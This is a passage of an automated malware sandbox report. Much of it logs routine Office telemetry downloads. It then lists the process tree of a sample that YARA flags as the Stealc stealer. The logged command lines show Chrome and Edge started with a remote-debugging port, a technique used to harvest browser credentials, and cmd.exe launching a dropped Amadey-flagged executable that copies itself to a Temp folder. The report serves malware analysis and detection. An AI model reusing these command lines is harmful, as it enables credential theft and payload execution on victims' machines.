/> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:17 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172718Z-r1cf579d7784wpmvhC1EWRk4cn00000002h0000000000qa9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 17:27:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:18 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:18 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172718Z-r1cf579d7784wpmvhC1EWRk4cn00000002h0000000000qat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:18 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:18 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:19 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0c26b312-d01e-0049-6f07-48e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172719Z-r1cf579d778x776bhC1EWRdk80000000030g000000003420 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:19 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:20 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:20 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 217a7818-401e-00ac-3104-480a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172720Z-r1cf579d778zvkpnhC1EWRv23g000000036g000000005zgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:20 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:20 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: b8fa7c57-101e-008e-1803-48cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172720Z-r1cf579d778t6txphC1EWRsd4400000003cg0000000076wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:20 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: d011e298-d01e-0066-630e-48ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172720Z-r1cf579d7789trgthC1EWRkkfc00000003kg00000000821t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:21 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:21 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:21 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: e9c8fd08-f01e-003f-7806-48d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172721Z-r1cf579d778dfdgnhC1EWRd3w000000002ng00000000arzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 17:27:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:21 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:22 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172722Z-r1cf579d778mvsklhC1EWRkavg000000034g000000008xf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:22 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:22 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:22 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 09209696-a01e-0021-6305-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172722Z-r1cf579d778bb9vvhC1EWRs95400000002e0000000009cpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:22 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	12:26:06
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf0000
File size:	1'786'880 bytes
MD5 hash:	DEFDF92BE6053F805B80FFCF7850F3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1865897595.00000000000F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1867314381.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1262676419.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:26:17
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:26:17
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2208,i,3491486157363799224,14608373548706337759,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:26:29
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:26:30
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2268,i,14806240799170882260,2828872377119636784,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:26:01
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:26:02
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2044,i,4211555121704165277,11542586880325375554,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:26:37
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFBKFBGII.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:26:37
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:26:37
Start date:	07/12/2024
Path:	C:\Users\user\Documents\EBFBKFBGII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\EBFBKFBGII.exe"
Imagebase:	0x6e0000
File size:	3'294'720 bytes
MD5 hash:	A359D8B520114D92895E10CFED863537
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.1893946605.00000000006E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:26:40
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7f0000
File size:	3'294'720 bytes
MD5 hash:	A359D8B520114D92895E10CFED863537
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
